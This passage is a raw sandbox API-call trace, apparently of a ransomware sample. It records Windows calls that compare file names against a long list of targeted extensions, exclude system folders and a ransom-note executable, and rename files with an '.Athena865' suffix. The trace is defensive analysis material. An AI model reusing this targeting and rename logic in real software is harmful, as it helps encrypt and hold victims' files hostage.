lpString2="kdb") returned 1 [0034.791] lstrlenW (lpString="kexi") returned 4 [0034.791] lstrcmpiW (lpString1="LOG2", lpString2="kexi") returned 1 [0034.791] lstrlenW (lpString="kexic") returned 5 [0034.791] lstrcmpiW (lpString1=".LOG2", lpString2="kexic") returned -1 [0034.791] lstrlenW (lpString="kexis") returned 5 [0034.791] lstrcmpiW (lpString1=".LOG2", lpString2="kexis") returned -1 [0034.792] lstrlenW (lpString="lgc") returned 3 [0034.792] lstrcmpiW (lpString1="OG2", lpString2="lgc") returned 1 [0034.792] lstrlenW (lpString="lwx") returned 3 [0034.792] lstrcmpiW (lpString1="OG2", lpString2="lwx") returned 1 [0034.792] lstrlenW (lpString="maf") returned 3 [0034.792] lstrcmpiW (lpString1="OG2", lpString2="maf") returned 1 [0034.792] lstrlenW (lpString="maq") returned 3 [0034.792] lstrcmpiW (lpString1="OG2", lpString2="maq") returned 1 [0034.792] lstrlenW (lpString="mar") returned 3 [0034.792] lstrcmpiW (lpString1="OG2", lpString2="mar") returned 1 [0034.792] lstrlenW (lpString="marshal") returned 7 [0034.792] lstrcmpiW (lpString1="ve.LOG2", lpString2="marshal") returned 1 [0034.792] lstrlenW (lpString="mas") returned 3 [0034.792] lstrcmpiW (lpString1="OG2", lpString2="mas") returned 1 [0034.792] lstrlenW (lpString="mav") returned 3 [0034.792] lstrcmpiW (lpString1="OG2", lpString2="mav") returned 1 [0034.792] lstrlenW (lpString="maw") returned 3 [0034.792] lstrcmpiW (lpString1="OG2", lpString2="maw") returned 1 [0034.792] lstrlenW (lpString="mdbhtml") returned 7 [0034.792] lstrcmpiW (lpString1="ve.LOG2", lpString2="mdbhtml") returned 1 [0034.792] lstrlenW (lpString="mdn") returned 3 [0034.792] lstrcmpiW (lpString1="OG2", lpString2="mdn") returned 1 [0034.792] lstrlenW (lpString="mdt") returned 3 [0034.792] lstrcmpiW (lpString1="OG2", lpString2="mdt") returned 1 [0034.792] lstrlenW (lpString="mfd") returned 3 [0034.792] lstrcmpiW (lpString1="OG2", lpString2="mfd") returned 1 [0034.792] lstrlenW (lpString="mpd") returned 3 [0034.792] lstrcmpiW (lpString1="OG2", lpString2="mpd") returned 1 [0034.792] lstrlenW (lpString="mrg") returned 3 [0034.792] lstrcmpiW (lpString1="OG2", lpString2="mrg") returned 1 [0034.792] lstrlenW (lpString="mud") returned 3 [0034.792] lstrcmpiW (lpString1="OG2", lpString2="mud") returned 1 [0034.792] lstrlenW (lpString="mwb") returned 3 [0034.792] lstrcmpiW (lpString1="OG2", lpString2="mwb") returned 1 [0034.792] lstrlenW (lpString="myd") returned 3 [0034.792] lstrcmpiW (lpString1="OG2", lpString2="myd") returned 1 [0034.792] lstrlenW (lpString="ndf") returned 3 [0034.792] lstrcmpiW (lpString1="OG2", lpString2="ndf") returned 1 [0034.792] lstrlenW (lpString="nnt") returned 3 [0034.792] lstrcmpiW (lpString1="OG2", lpString2="nnt") returned 1 [0034.793] lstrlenW (lpString="nrmlib") returned 6 [0034.793] lstrcmpiW (lpString1="e.LOG2", lpString2="nrmlib") returned -1 [0034.793] lstrlenW (lpString="ns2") returned 3 [0034.793] lstrcmpiW (lpString1="OG2", lpString2="ns2") returned 1 [0034.793] lstrlenW (lpString="ns3") returned 3 [0034.793] lstrcmpiW (lpString1="OG2", lpString2="ns3") returned 1 [0034.793] lstrlenW (lpString="ns4") returned 3 [0034.793] lstrcmpiW (lpString1="OG2", lpString2="ns4") returned 1 [0034.793] lstrlenW (lpString="nsf") returned 3 [0034.793] lstrcmpiW (lpString1="OG2", lpString2="nsf") returned 1 [0034.793] lstrlenW (lpString="nv") returned 2 [0034.793] lstrcmpiW (lpString1="G2", lpString2="nv") returned -1 [0034.793] lstrlenW (lpString="nv2") returned 3 [0034.793] lstrcmpiW (lpString1="OG2", lpString2="nv2") returned 1 [0034.793] lstrlenW (lpString="nwdb") returned 4 [0034.793] lstrcmpiW (lpString1="LOG2", lpString2="nwdb") returned -1 [0034.793] lstrlenW (lpString="nyf") returned 3 [0034.793] lstrcmpiW (lpString1="OG2", lpString2="nyf") returned 1 [0034.793] lstrlenW (lpString="odb") returned 3 [0034.793] lstrcmpiW (lpString1="OG2", lpString2="odb") returned 1 [0034.793] lstrlenW (lpString="odb") returned 3 [0034.793] lstrcmpiW (lpString1="OG2", lpString2="odb") returned 1 [0034.793] lstrlenW (lpString="oqy") returned 3 [0034.793] lstrcmpiW (lpString1="OG2", lpString2="oqy") returned -1 [0034.793] lstrlenW (lpString="ora") returned 3 [0034.793] lstrcmpiW (lpString1="OG2", lpString2="ora") returned -1 [0034.793] lstrlenW (lpString="orx") returned 3 [0034.793] lstrcmpiW (lpString1="OG2", lpString2="orx") returned -1 [0034.793] lstrlenW (lpString="owc") returned 3 [0034.793] lstrcmpiW (lpString1="OG2", lpString2="owc") returned -1 [0034.793] lstrlenW (lpString="p96") returned 3 [0034.793] lstrcmpiW (lpString1="OG2", lpString2="p96") returned -1 [0034.793] lstrlenW (lpString="p97") returned 3 [0034.793] lstrcmpiW (lpString1="OG2", lpString2="p97") returned -1 [0034.793] lstrlenW (lpString="pan") returned 3 [0034.793] lstrcmpiW (lpString1="OG2", lpString2="pan") returned -1 [0034.793] lstrlenW (lpString="pdb") returned 3 [0034.793] lstrcmpiW (lpString1="OG2", lpString2="pdb") returned -1 [0034.793] lstrlenW (lpString="pdm") returned 3 [0034.793] lstrcmpiW (lpString1="OG2", lpString2="pdm") returned -1 [0034.794] lstrlenW (lpString="pnz") returned 3 [0034.794] lstrcmpiW (lpString1="OG2", lpString2="pnz") returned -1 [0034.794] lstrlenW (lpString="qry") returned 3 [0034.794] lstrcmpiW (lpString1="OG2", lpString2="qry") returned -1 [0034.794] lstrlenW (lpString="qvd") returned 3 [0034.794] lstrcmpiW (lpString1="OG2", lpString2="qvd") returned -1 [0034.794] lstrlenW (lpString="rbf") returned 3 [0034.794] lstrcmpiW (lpString1="OG2", lpString2="rbf") returned -1 [0034.794] lstrlenW (lpString="rctd") returned 4 [0034.794] lstrcmpiW (lpString1="LOG2", lpString2="rctd") returned -1 [0034.794] lstrlenW (lpString="rod") returned 3 [0034.794] lstrcmpiW (lpString1="OG2", lpString2="rod") returned -1 [0034.794] lstrlenW (lpString="rodx") returned 4 [0034.794] lstrcmpiW (lpString1="LOG2", lpString2="rodx") returned -1 [0034.794] lstrlenW (lpString="rpd") returned 3 [0034.794] lstrcmpiW (lpString1="OG2", lpString2="rpd") returned -1 [0034.794] lstrlenW (lpString="rsd") returned 3 [0034.794] lstrcmpiW (lpString1="OG2", lpString2="rsd") returned -1 [0034.794] lstrlenW (lpString="sas7bdat") returned 8 [0034.794] lstrcmpiW (lpString1="hve.LOG2", lpString2="sas7bdat") returned -1 [0034.794] lstrlenW (lpString="sbf") returned 3 [0034.794] lstrcmpiW (lpString1="OG2", lpString2="sbf") returned -1 [0034.794] lstrlenW (lpString="scx") returned 3 [0034.794] lstrcmpiW (lpString1="OG2", lpString2="scx") returned -1 [0034.794] lstrlenW (lpString="sdb") returned 3 [0034.794] lstrcmpiW (lpString1="OG2", lpString2="sdb") returned -1 [0034.794] lstrlenW (lpString="sdc") returned 3 [0034.794] lstrcmpiW (lpString1="OG2", lpString2="sdc") returned -1 [0034.794] lstrlenW (lpString="sdf") returned 3 [0034.794] lstrcmpiW (lpString1="OG2", lpString2="sdf") returned -1 [0034.794] lstrlenW (lpString="sis") returned 3 [0034.794] lstrcmpiW (lpString1="OG2", lpString2="sis") returned -1 [0034.794] lstrlenW (lpString="spq") returned 3 [0034.794] lstrcmpiW (lpString1="OG2", lpString2="spq") returned -1 [0034.794] lstrlenW (lpString="te") returned 2 [0034.794] lstrcmpiW (lpString1="G2", lpString2="te") returned -1 [0034.794] lstrlenW (lpString="teacher") returned 7 [0034.794] lstrcmpiW (lpString1="ve.LOG2", lpString2="teacher") returned 1 [0034.795] lstrlenW (lpString="tmd") returned 3 [0034.795] lstrcmpiW (lpString1="OG2", lpString2="tmd") returned -1 [0034.795] lstrlenW (lpString="tps") returned 3 [0034.795] lstrcmpiW (lpString1="OG2", lpString2="tps") returned -1 [0034.795] lstrlenW (lpString="trc") returned 3 [0034.795] lstrcmpiW (lpString1="OG2", lpString2="trc") returned -1 [0034.795] lstrlenW (lpString="trc") returned 3 [0034.795] lstrcmpiW (lpString1="OG2", lpString2="trc") returned -1 [0034.795] lstrlenW (lpString="trm") returned 3 [0034.795] lstrcmpiW (lpString1="OG2", lpString2="trm") returned -1 [0034.795] lstrlenW (lpString="udb") returned 3 [0034.795] lstrcmpiW (lpString1="OG2", lpString2="udb") returned -1 [0034.795] lstrlenW (lpString="udl") returned 3 [0034.795] lstrcmpiW (lpString1="OG2", lpString2="udl") returned -1 [0034.795] lstrlenW (lpString="usr") returned 3 [0034.795] lstrcmpiW (lpString1="OG2", lpString2="usr") returned -1 [0034.795] lstrlenW (lpString="v12") returned 3 [0034.795] lstrcmpiW (lpString1="OG2", lpString2="v12") returned -1 [0034.795] lstrlenW (lpString="vis") returned 3 [0034.795] lstrcmpiW (lpString1="OG2", lpString2="vis") returned -1 [0034.795] lstrlenW (lpString="vpd") returned 3 [0034.795] lstrcmpiW (lpString1="OG2", lpString2="vpd") returned -1 [0034.795] lstrlenW (lpString="vvv") returned 3 [0034.795] lstrcmpiW (lpString1="OG2", lpString2="vvv") returned -1 [0034.795] lstrlenW (lpString="wdb") returned 3 [0034.795] lstrcmpiW (lpString1="OG2", lpString2="wdb") returned -1 [0034.795] lstrlenW (lpString="wmdb") returned 4 [0034.795] lstrcmpiW (lpString1="LOG2", lpString2="wmdb") returned -1 [0034.795] lstrlenW (lpString="wrk") returned 3 [0034.795] lstrcmpiW (lpString1="OG2", lpString2="wrk") returned -1 [0034.795] lstrlenW (lpString="xdb") returned 3 [0034.795] lstrcmpiW (lpString1="OG2", lpString2="xdb") returned -1 [0034.795] lstrlenW (lpString="xld") returned 3 [0034.795] lstrcmpiW (lpString1="OG2", lpString2="xld") returned -1 [0034.795] lstrlenW (lpString="xmlff") returned 5 [0034.795] lstrcmpiW (lpString1=".LOG2", lpString2="xmlff") returned -1 [0034.795] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\Syscache.hve.LOG2.Athena865") returned 56 [0034.795] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\Syscache.hve.LOG2" (normalized: "c:\\system volume information\\syscache.hve.log2"), lpNewFileName="C:\\System Volume Information\\Syscache.hve.LOG2.Athena865" (normalized: "c:\\system volume information\\syscache.hve.log2.athena865"), dwFlags=0x1) returned 1 [0034.796] CreateFileW (lpFileName="C:\\System Volume Information\\Syscache.hve.LOG2.Athena865" (normalized: "c:\\system volume information\\syscache.hve.log2.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0034.796] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=0) returned 1 [0034.796] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\Syscache.hve.LOG2.Athena865" (normalized: "c:\\system volume information\\syscache.hve.log2.athena865"), lpNewFileName="C:\\System Volume Information\\Syscache.hve.LOG2" (normalized: "c:\\system volume information\\syscache.hve.log2"), dwFlags=0x1) returned 0 [0034.796] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0034.796] CloseHandle (hObject=0x0) returned 0 [0034.797] CloseHandle (hObject=0x154) returned 1 [0034.797] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x629b3040, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x629b3040, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x68c55fe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tracking.log", cAlternateFileName="")) returned 1 [0034.797] lstrcmpiW (lpString1="tracking.log", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.797] lstrcmpiW (lpString1="tracking.log", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.797] lstrcmpiW (lpString1="tracking.log", lpString2=".") returned 1 [0034.797] lstrcmpiW (lpString1="tracking.log", lpString2="..") returned 1 [0034.797] lstrcmpiW (lpString1="tracking.log", lpString2="windows") returned -1 [0034.797] lstrcmpiW (lpString1="tracking.log", lpString2="bootmgr") returned 1 [0034.797] lstrcmpiW (lpString1="tracking.log", lpString2="temp") returned 1 [0034.797] lstrcmpiW (lpString1="tracking.log", lpString2="pagefile.sys") returned 1 [0034.797] lstrcmpiW (lpString1="tracking.log", lpString2="boot") returned 1 [0034.797] lstrcmpiW (lpString1="tracking.log", lpString2="ids.txt") returned 1 [0034.797] lstrcmpiW (lpString1="tracking.log", lpString2="ntuser.dat") returned 1 [0034.797] lstrcmpiW (lpString1="tracking.log", lpString2="perflogs") returned 1 [0034.797] lstrcmpiW (lpString1="tracking.log", lpString2="MSBuild") returned 1 [0034.797] lstrlenW (lpString="tracking.log") returned 12 [0034.797] lstrcpyW (in: lpString1=0x241e882, lpString2="tracking.log" | out: lpString1="tracking.log") returned="tracking.log" [0034.797] lstrlenW (lpString="tracking.log") returned 12 [0034.797] lstrlenW (lpString="Athena865") returned 9 [0034.797] lstrcmpiW (lpString1="cking.log", lpString2="Athena865") returned 1 [0034.797] lstrlenW (lpString=".dll") returned 4 [0034.797] lstrcmpiW (lpString1="tracking.log", lpString2=".dll") returned 1 [0034.797] lstrlenW (lpString=".lnk") returned 4 [0034.797] lstrcmpiW (lpString1="tracking.log", lpString2=".lnk") returned 1 [0034.797] lstrlenW (lpString=".ini") returned 4 [0034.797] lstrcmpiW (lpString1="tracking.log", lpString2=".ini") returned 1 [0034.797] lstrlenW (lpString=".sys") returned 4 [0034.797] lstrcmpiW (lpString1="tracking.log", lpString2=".sys") returned 1 [0034.797] lstrlenW (lpString="tracking.log") returned 12 [0034.797] lstrlenW (lpString="bak") returned 3 [0034.798] lstrcmpiW (lpString1="log", lpString2="bak") returned 1 [0034.798] lstrlenW (lpString="ba_") returned 3 [0034.798] lstrcmpiW (lpString1="log", lpString2="ba_") returned 1 [0034.798] lstrlenW (lpString="dbb") returned 3 [0034.798] lstrcmpiW (lpString1="log", lpString2="dbb") returned 1 [0034.798] lstrlenW (lpString="vmdk") returned 4 [0034.798] lstrcmpiW (lpString1=".log", lpString2="vmdk") returned -1 [0034.798] lstrlenW (lpString="rar") returned 3 [0034.798] lstrcmpiW (lpString1="log", lpString2="rar") returned -1 [0034.798] lstrlenW (lpString="zip") returned 3 [0034.798] lstrcmpiW (lpString1="log", lpString2="zip") returned -1 [0034.798] lstrlenW (lpString="tgz") returned 3 [0034.798] lstrcmpiW (lpString1="log", lpString2="tgz") returned -1 [0034.798] lstrlenW (lpString="vbox") returned 4 [0034.798] lstrcmpiW (lpString1=".log", lpString2="vbox") returned -1 [0034.798] lstrlenW (lpString="vdi") returned 3 [0034.798] lstrcmpiW (lpString1="log", lpString2="vdi") returned -1 [0034.798] lstrlenW (lpString="vhd") returned 3 [0034.798] lstrcmpiW (lpString1="log", lpString2="vhd") returned -1 [0034.798] lstrlenW (lpString="vhdx") returned 4 [0034.798] lstrcmpiW (lpString1=".log", lpString2="vhdx") returned -1 [0034.798] lstrlenW (lpString="avhd") returned 4 [0034.798] lstrcmpiW (lpString1=".log", lpString2="avhd") returned -1 [0034.798] lstrlenW (lpString="db") returned 2 [0034.798] lstrcmpiW (lpString1="og", lpString2="db") returned 1 [0034.798] lstrlenW (lpString="db2") returned 3 [0034.798] lstrcmpiW (lpString1="log", lpString2="db2") returned 1 [0034.798] lstrlenW (lpString="db3") returned 3 [0034.798] lstrcmpiW (lpString1="log", lpString2="db3") returned 1 [0034.798] lstrlenW (lpString="dbf") returned 3 [0034.798] lstrcmpiW (lpString1="log", lpString2="dbf") returned 1 [0034.799] lstrlenW (lpString="mdf") returned 3 [0034.799] lstrcmpiW (lpString1="log", lpString2="mdf") returned -1 [0034.799] lstrlenW (lpString="mdb") returned 3 [0034.799] lstrcmpiW (lpString1="log", lpString2="mdb") returned -1 [0034.799] lstrlenW (lpString="sql") returned 3 [0034.799] lstrcmpiW (lpString1="log", lpString2="sql") returned -1 [0034.799] lstrlenW (lpString="sqlite") returned 6 [0034.799] lstrcmpiW (lpString1="ng.log", lpString2="sqlite") returned -1 [0034.799] lstrlenW (lpString="sqlite3") returned 7 [0034.799] lstrcmpiW (lpString1="ing.log", lpString2="sqlite3") returned -1 [0034.799] lstrlenW (lpString="sqlitedb") returned 8 [0034.799] lstrcmpiW (lpString1="king.log", lpString2="sqlitedb") returned -1 [0034.799] lstrlenW (lpString="xml") returned 3 [0034.799] lstrcmpiW (lpString1="log", lpString2="xml") returned -1 [0034.799] lstrlenW (lpString="$er") returned 3 [0034.799] lstrcmpiW (lpString1="log", lpString2="$er") returned 1 [0034.799] lstrlenW (lpString="4dd") returned 3 [0034.799] lstrcmpiW (lpString1="log", lpString2="4dd") returned 1 [0034.799] lstrlenW (lpString="4dl") returned 3 [0034.799] lstrcmpiW (lpString1="log", lpString2="4dl") returned 1 [0034.799] lstrlenW (lpString="^^^") returned 3 [0034.799] lstrcmpiW (lpString1="log", lpString2="^^^") returned 1 [0034.799] lstrlenW (lpString="abs") returned 3 [0034.799] lstrcmpiW (lpString1="log", lpString2="abs") returned 1 [0034.799] lstrlenW (lpString="abx") returned 3 [0034.799] lstrcmpiW (lpString1="log", lpString2="abx") returned 1 [0034.799] lstrlenW (lpString="accdb") returned 5 [0034.799] lstrcmpiW (lpString1="g.log", lpString2="accdb") returned 1 [0034.799] lstrlenW (lpString="accdc") returned 5 [0034.799] lstrcmpiW (lpString1="g.log", lpString2="accdc") returned 1 [0034.800] lstrlenW (lpString="accde") returned 5 [0034.800] lstrcmpiW (lpString1="g.log", lpString2="accde") returned 1 [0034.800] lstrlenW (lpString="accdr") returned 5 [0034.800] lstrcmpiW (lpString1="g.log", lpString2="accdr") returned 1 [0034.800] lstrlenW (lpString="accdt") returned 5 [0034.800] lstrcmpiW (lpString1="g.log", lpString2="accdt") returned 1 [0034.800] lstrlenW (lpString="accdw") returned 5 [0034.800] lstrcmpiW (lpString1="g.log", lpString2="accdw") returned 1 [0034.800] lstrlenW (lpString="accft") returned 5 [0034.800] lstrcmpiW (lpString1="g.log", lpString2="accft") returned 1 [0034.800] lstrlenW (lpString="adb") returned 3 [0034.800] lstrcmpiW (lpString1="log", lpString2="adb") returned 1 [0034.800] lstrlenW (lpString="adb") returned 3 [0034.800] lstrcmpiW (lpString1="log", lpString2="adb") returned 1 [0034.800] lstrlenW (lpString="ade") returned 3 [0034.800] lstrcmpiW (lpString1="log", lpString2="ade") returned 1 [0034.800] lstrlenW (lpString="adf") returned 3 [0034.800] lstrcmpiW (lpString1="log", lpString2="adf") returned 1 [0034.800] lstrlenW (lpString="adn") returned 3 [0034.800] lstrcmpiW (lpString1="log", lpString2="adn") returned 1 [0034.800] lstrlenW (lpString="adp") returned 3 [0034.800] lstrcmpiW (lpString1="log", lpString2="adp") returned 1 [0034.800] lstrlenW (lpString="alf") returned 3 [0034.800] lstrcmpiW (lpString1="log", lpString2="alf") returned 1 [0034.800] lstrlenW (lpString="ask") returned 3 [0034.800] lstrcmpiW (lpString1="log", lpString2="ask") returned 1 [0034.800] lstrlenW (lpString="btr") returned 3 [0034.800] lstrcmpiW (lpString1="log", lpString2="btr") returned 1 [0034.800] lstrlenW (lpString="cat") returned 3 [0034.800] lstrcmpiW (lpString1="log", lpString2="cat") returned 1 [0034.800] lstrlenW (lpString="cdb") returned 3 [0034.800] lstrcmpiW (lpString1="log", lpString2="cdb") returned 1 [0034.800] lstrlenW (lpString="ckp") returned 3 [0034.800] lstrcmpiW (lpString1="log", lpString2="ckp") returned 1 [0034.800] lstrlenW (lpString="cma") returned 3 [0034.800] lstrcmpiW (lpString1="log", lpString2="cma") returned 1 [0034.801] lstrlenW (lpString="cpd") returned 3 [0034.801] lstrcmpiW (lpString1="log", lpString2="cpd") returned 1 [0034.801] lstrlenW (lpString="dacpac") returned 6 [0034.801] lstrcmpiW (lpString1="ng.log", lpString2="dacpac") returned 1 [0034.801] lstrlenW (lpString="dad") returned 3 [0034.801] lstrcmpiW (lpString1="log", lpString2="dad") returned 1 [0034.801] lstrlenW (lpString="dadiagrams") returned 10 [0034.801] lstrcmpiW (lpString1="acking.log", lpString2="dadiagrams") returned -1 [0034.801] lstrlenW (lpString="daschema") returned 8 [0034.801] lstrcmpiW (lpString1="king.log", lpString2="daschema") returned 1 [0034.801] lstrlenW (lpString="db-journal") returned 10 [0034.801] lstrcmpiW (lpString1="acking.log", lpString2="db-journal") returned -1 [0034.801] lstrlenW (lpString="db-shm") returned 6 [0034.801] lstrcmpiW (lpString1="ng.log", lpString2="db-shm") returned 1 [0034.801] lstrlenW (lpString="db-wal") returned 6 [0034.801] lstrcmpiW (lpString1="ng.log", lpString2="db-wal") returned 1 [0034.801] lstrlenW (lpString="dbc") returned 3 [0034.801] lstrcmpiW (lpString1="log", lpString2="dbc") returned 1 [0034.801] lstrlenW (lpString="dbs") returned 3 [0034.801] lstrcmpiW (lpString1="log", lpString2="dbs") returned 1 [0034.801] lstrlenW (lpString="dbt") returned 3 [0034.801] lstrcmpiW (lpString1="log", lpString2="dbt") returned 1 [0034.801] lstrlenW (lpString="dbv") returned 3 [0034.801] lstrcmpiW (lpString1="log", lpString2="dbv") returned 1 [0034.801] lstrlenW (lpString="dbx") returned 3 [0034.801] lstrcmpiW (lpString1="log", lpString2="dbx") returned 1 [0034.801] lstrlenW (lpString="dcb") returned 3 [0034.801] lstrcmpiW (lpString1="log", lpString2="dcb") returned 1 [0034.801] lstrlenW (lpString="dct") returned 3 [0034.801] lstrcmpiW (lpString1="log", lpString2="dct") returned 1 [0034.801] lstrlenW (lpString="dcx") returned 3 [0034.801] lstrcmpiW (lpString1="log", lpString2="dcx") returned 1 [0034.801] lstrlenW (lpString="ddl") returned 3 [0034.801] lstrcmpiW (lpString1="log", lpString2="ddl") returned 1 [0034.801] lstrlenW (lpString="dlis") returned 4 [0034.801] lstrcmpiW (lpString1=".log", lpString2="dlis") returned -1 [0034.801] lstrlenW (lpString="dp1") returned 3 [0034.801] lstrcmpiW (lpString1="log", lpString2="dp1") returned 1 [0034.801] lstrlenW (lpString="dqy") returned 3 [0034.802] lstrcmpiW (lpString1="log", lpString2="dqy") returned 1 [0034.802] lstrlenW (lpString="dsk") returned 3 [0034.802] lstrcmpiW (lpString1="log", lpString2="dsk") returned 1 [0034.802] lstrlenW (lpString="dsn") returned 3 [0034.802] lstrcmpiW (lpString1="log", lpString2="dsn") returned 1 [0034.802] lstrlenW (lpString="dtsx") returned 4 [0034.802] lstrcmpiW (lpString1=".log", lpString2="dtsx") returned -1 [0034.802] lstrlenW (lpString="dxl") returned 3 [0034.802] lstrcmpiW (lpString1="log", lpString2="dxl") returned 1 [0034.802] lstrlenW (lpString="eco") returned 3 [0034.802] lstrcmpiW (lpString1="log", lpString2="eco") returned 1 [0034.802] lstrlenW (lpString="ecx") returned 3 [0034.802] lstrcmpiW (lpString1="log", lpString2="ecx") returned 1 [0034.802] lstrlenW (lpString="edb") returned 3 [0034.802] lstrcmpiW (lpString1="log", lpString2="edb") returned 1 [0034.802] lstrlenW (lpString="epim") returned 4 [0034.802] lstrcmpiW (lpString1=".log", lpString2="epim") returned -1 [0034.802] lstrlenW (lpString="fcd") returned 3 [0034.802] lstrcmpiW (lpString1="log", lpString2="fcd") returned 1 [0034.802] lstrlenW (lpString="fdb") returned 3 [0034.802] lstrcmpiW (lpString1="log", lpString2="fdb") returned 1 [0034.802] lstrlenW (lpString="fic") returned 3 [0034.802] lstrcmpiW (lpString1="log", lpString2="fic") returned 1 [0034.802] lstrlenW (lpString="flexolibrary") returned 12 [0034.802] lstrlenW (lpString="fm5") returned 3 [0034.802] lstrcmpiW (lpString1="log", lpString2="fm5") returned 1 [0034.802] lstrlenW (lpString="fmp") returned 3 [0034.802] lstrcmpiW (lpString1="log", lpString2="fmp") returned 1 [0034.802] lstrlenW (lpString="fmp12") returned 5 [0034.802] lstrcmpiW (lpString1="g.log", lpString2="fmp12") returned 1 [0034.802] lstrlenW (lpString="fmpsl") returned 5 [0034.802] lstrcmpiW (lpString1="g.log", lpString2="fmpsl") returned 1 [0034.802] lstrlenW (lpString="fol") returned 3 [0034.802] lstrcmpiW (lpString1="log", lpString2="fol") returned 1 [0034.802] lstrlenW (lpString="fp3") returned 3 [0034.802] lstrcmpiW (lpString1="log", lpString2="fp3") returned 1 [0034.802] lstrlenW (lpString="fp4") returned 3 [0034.802] lstrcmpiW (lpString1="log", lpString2="fp4") returned 1 [0034.803] lstrlenW (lpString="fp5") returned 3 [0034.803] lstrcmpiW (lpString1="log", lpString2="fp5") returned 1 [0034.803] lstrlenW (lpString="fp7") returned 3 [0034.803] lstrcmpiW (lpString1="log", lpString2="fp7") returned 1 [0034.803] lstrlenW (lpString="fpt") returned 3 [0034.803] lstrcmpiW (lpString1="log", lpString2="fpt") returned 1 [0034.803] lstrlenW (lpString="frm") returned 3 [0034.803] lstrcmpiW (lpString1="log", lpString2="frm") returned 1 [0034.803] lstrlenW (lpString="gdb") returned 3 [0034.803] lstrcmpiW (lpString1="log", lpString2="gdb") returned 1 [0034.803] lstrlenW (lpString="gdb") returned 3 [0034.803] lstrcmpiW (lpString1="log", lpString2="gdb") returned 1 [0034.803] lstrlenW (lpString="grdb") returned 4 [0034.803] lstrcmpiW (lpString1=".log", lpString2="grdb") returned -1 [0034.803] lstrlenW (lpString="gwi") returned 3 [0034.803] lstrcmpiW (lpString1="log", lpString2="gwi") returned 1 [0034.803] lstrlenW (lpString="hdb") returned 3 [0034.803] lstrcmpiW (lpString1="log", lpString2="hdb") returned 1 [0034.803] lstrlenW (lpString="his") returned 3 [0034.803] lstrcmpiW (lpString1="log", lpString2="his") returned 1 [0034.803] lstrlenW (lpString="ib") returned 2 [0034.803] lstrcmpiW (lpString1="og", lpString2="ib") returned 1 [0034.803] lstrlenW (lpString="idb") returned 3 [0034.803] lstrcmpiW (lpString1="log", lpString2="idb") returned 1 [0034.803] lstrlenW (lpString="ihx") returned 3 [0034.803] lstrcmpiW (lpString1="log", lpString2="ihx") returned 1 [0034.803] lstrlenW (lpString="itdb") returned 4 [0034.803] lstrcmpiW (lpString1=".log", lpString2="itdb") returned -1 [0034.803] lstrlenW (lpString="itw") returned 3 [0034.803] lstrcmpiW (lpString1="log", lpString2="itw") returned 1 [0034.803] lstrlenW (lpString="jet") returned 3 [0034.803] lstrcmpiW (lpString1="log", lpString2="jet") returned 1 [0034.803] lstrlenW (lpString="jtx") returned 3 [0034.803] lstrcmpiW (lpString1="log", lpString2="jtx") returned 1 [0034.803] lstrlenW (lpString="kdb") returned 3 [0034.803] lstrcmpiW (lpString1="log", lpString2="kdb") returned 1 [0034.803] lstrlenW (lpString="kexi") returned 4 [0034.804] lstrcmpiW (lpString1=".log", lpString2="kexi") returned -1 [0034.804] lstrlenW (lpString="kexic") returned 5 [0034.804] lstrcmpiW (lpString1="g.log", lpString2="kexic") returned -1 [0034.804] lstrlenW (lpString="kexis") returned 5 [0034.804] lstrcmpiW (lpString1="g.log", lpString2="kexis") returned -1 [0034.804] lstrlenW (lpString="lgc") returned 3 [0034.804] lstrcmpiW (lpString1="log", lpString2="lgc") returned 1 [0034.804] lstrlenW (lpString="lwx") returned 3 [0034.804] lstrcmpiW (lpString1="log", lpString2="lwx") returned -1 [0034.804] lstrlenW (lpString="maf") returned 3 [0034.804] lstrcmpiW (lpString1="log", lpString2="maf") returned -1 [0034.804] lstrlenW (lpString="maq") returned 3 [0034.804] lstrcmpiW (lpString1="log", lpString2="maq") returned -1 [0034.804] lstrlenW (lpString="mar") returned 3 [0034.804] lstrcmpiW (lpString1="log", lpString2="mar") returned -1 [0034.804] lstrlenW (lpString="marshal") returned 7 [0034.804] lstrcmpiW (lpString1="ing.log", lpString2="marshal") returned -1 [0034.804] lstrlenW (lpString="mas") returned 3 [0034.804] lstrcmpiW (lpString1="log", lpString2="mas") returned -1 [0034.804] lstrlenW (lpString="mav") returned 3 [0034.804] lstrcmpiW (lpString1="log", lpString2="mav") returned -1 [0034.804] lstrlenW (lpString="maw") returned 3 [0034.804] lstrcmpiW (lpString1="log", lpString2="maw") returned -1 [0034.804] lstrlenW (lpString="mdbhtml") returned 7 [0034.804] lstrcmpiW (lpString1="ing.log", lpString2="mdbhtml") returned -1 [0034.804] lstrlenW (lpString="mdn") returned 3 [0034.804] lstrcmpiW (lpString1="log", lpString2="mdn") returned -1 [0034.804] lstrlenW (lpString="mdt") returned 3 [0034.804] lstrcmpiW (lpString1="log", lpString2="mdt") returned -1 [0034.804] lstrlenW (lpString="mfd") returned 3 [0034.804] lstrcmpiW (lpString1="log", lpString2="mfd") returned -1 [0034.804] lstrlenW (lpString="mpd") returned 3 [0034.804] lstrcmpiW (lpString1="log", lpString2="mpd") returned -1 [0034.804] lstrlenW (lpString="mrg") returned 3 [0034.805] lstrcmpiW (lpString1="log", lpString2="mrg") returned -1 [0034.805] lstrlenW (lpString="mud") returned 3 [0034.805] lstrcmpiW (lpString1="log", lpString2="mud") returned -1 [0034.805] lstrlenW (lpString="mwb") returned 3 [0034.805] lstrcmpiW (lpString1="log", lpString2="mwb") returned -1 [0034.805] lstrlenW 